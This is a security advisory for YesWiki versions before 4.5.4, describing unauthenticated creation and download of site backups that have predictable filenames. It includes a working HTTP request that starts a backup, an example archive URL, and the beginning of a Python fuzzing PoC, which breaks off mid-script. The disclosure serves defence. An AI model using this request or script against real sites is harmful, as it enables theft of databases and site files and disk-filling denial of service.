YesWiki is a wiki system written in PHP. Prior to version 4.5.4, the request to commence a site backup can be performed and downloaded without authentication. The archives are created with a predictable filename, so a malicious user could create and download an archive without being authenticated. This could result in a malicious attacker making numerous requests to create archives and fill up the file system, or by downloading the archive which contains sensitive site information. This issue has been patched in version 4.5.4.

Affected: Packagist: yeswiki/yeswiki

### Summary

The request to commence a site backup can be performed without authentication. Then these backups can also be downloaded without authentication.

The archives are created with a predictable filename, so a malicious user could create an archive and then download the archive without being authenticated.

### Details

Create an installation using the instructions found in the docker folder of the repository, setup the site, and then send the request to create an archive, which you do not need to be authenticated for:

``` POST /?api/archives HTTP/1.1 Host: localhost:8085

action=startArchive&params%5Bsavefiles%5D=true&params%5Bsavedatabase%5D=true&callAsync=true ``` Then to retrieve it, make a simple `GET` request like to the correct URL: ``` http://localhost:8085/?api/archives/2025-04-12T14-34-01_archive.zip ``` A malicious attacker could simply fuzz this filename.

### PoC Here is a python script to fuzz this:

``` #!/usr/bin/env python3

import requests import argparse import datetime import time from urllib.parse import urljoin from email.utils import parsedate_to_datetime import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) # Hardcoded proxy config for Burp Suite BURP_PROXIES = { "http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080" }

def send_post_request(base_url, use_proxy=False): url = urljoin(base_url, "/?api/archives") headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x…